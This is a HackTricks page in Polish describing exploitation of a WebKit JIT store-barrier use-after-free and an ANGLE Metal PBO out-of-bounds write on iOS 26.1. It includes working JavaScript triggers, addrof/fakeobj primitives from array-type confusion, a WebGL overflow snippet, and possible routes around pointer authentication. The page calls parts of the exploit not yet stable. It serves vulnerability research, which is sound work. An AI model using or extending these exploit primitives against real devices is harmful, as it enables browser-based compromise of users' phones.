WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podsumowanie
- DFG Store Barrier bug (CVE-2025-43529): W
DFGStoreBarrierInsertionPhase.cppwęzeł Phi oznaczony jako escaped, podczas gdy jego wejścia Upsilon nie są powoduje, że faza pomija wstawianie write barrier przy kolejnych zapisach obiektów. Pod presją GC pozwala to JSC zwolnić obiekty nadal osiągalne → use-after-free. - Exploit target: Wymusić, by obiekt Date zmaterializował butterfly (np.
a[0] = 1.1) tak, aby butterfly został zwolniony, a następnie reclaimed jako pamięć na elementy tablicy, tworząc konfuzję boxed/unboxed → prymitywyaddrof/fakeobj. - ANGLE Metal PBO bug (CVE-2025-14174): Backend Metal alokuje bufor staging PBO używając
UNPACK_IMAGE_HEIGHTzamiast rzeczywistej wysokości tekstury. Podając mały unpack height, a następnie wykonując dużątexImage2D, powoduje to staging-buffer OOB write (~240KB w PoC poniżej). - PAC blockers on arm64e (iOS 26.1): TypedArray
m_vectori JSArraybutterflysą PAC-signed; podrobienie fake objects ze wskaźnikami wybranymi przez atakującego skutkuje awariąEXC_BAD_ACCESS/EXC_ARM_PAC. Działa tylko ponowne użycie already-signed butterflies (reinterpretacja boxed/unboxed).
Wywołanie brakującego write barrier DFG → UAF
function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A; // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly
// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));
const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped
A.p1 = f; // Missing barrier state set up
for (let i = 0; i < 1e6; ++i) {} // GC race window
b.p1 = a; // Store without barrier → frees `a`/butterfly
}
Kluczowe punkty:
- Umieść A w old space, aby uruchomić generational barriers.
- Utwórz indeksowany Date, tak aby butterfly był zwolnionym celem.
- Sprayuj
ArrayBuffer(0x800000), aby wymusić GC i poszerzyć wyścig. - Niedopasowanie Phi/Upsilon escape zatrzymuje wstawianie barier;
b.p1 = awykonuje się without a write barrier, więc GC odzyskujea/butterfly.
Zwolnienie butterfly → zamieszanie boxed/unboxed
Po zwolnieniu Date butterfly przez GC, sprayuj arrays tak, aby zwolniony slab został ponownie użyty jako elements dla dwóch arrays o różnych element kinds:
boxed_arr[0] = obj; // store as boxed pointer
const addr = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr); // write pointer bits as float
const fake = boxed_arr[0]; // reinterpret as object → fakeobj
Status na iOS 26.1 (arm64e):
- Działa:
addrof,fakeobj, 20+ address leaks na uruchomienie, inline-slot read/write (dla znanych pól inline). - Nie jest jeszcze stabilne: uogólnione
read64/write64przez inline-slot backings.
Ograniczenia PAC na arm64e (dlaczego fake objects powodują awarię)
- TypedArray
m_vectori JSArraybutterflysą podpisane PAC; podrobienie wskaźników skutkujeEXC_BAD_ACCESS/ prawdopodobnieEXC_ARM_PAC. - Mechanizm confusion działa, ponieważ ponownie używa legalnych, podpisanych butterflies; wprowadzenie niepodpisanych wskaźników atakującego powoduje niepowodzenie uwierzytelniania.
- Zauważone potencjalne obejścia: ścieżki JIT, które pomijają uwierzytelnianie, gadgets które podpisują wskaźniki atakującego, lub pivoting przez ANGLE OOB.
ANGLE Metal PBO under-allocation → OOB write
Użyj bardzo małej wartości unpack height, aby zmniejszyć staging buffer, a następnie załaduj dużą teksturę, tak aby operacja kopiowania przepełniła bufor:
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual = 256 * 256 * 4 = 256KB → ~240KB OOB
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
Notatki:
- Błąd w
TextureMtl.cpp: staging buffer używaUNPACK_IMAGE_HEIGHTzamiast rzeczywistej wysokości tekstury na ścieżce PBO. - W przywołanej próbie wyzwalacz WebGL2 PBO jest skonfigurowany, ale nie został jeszcze niezawodnie zaobserwowany na iOS 26.1.
Odniesienia
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks

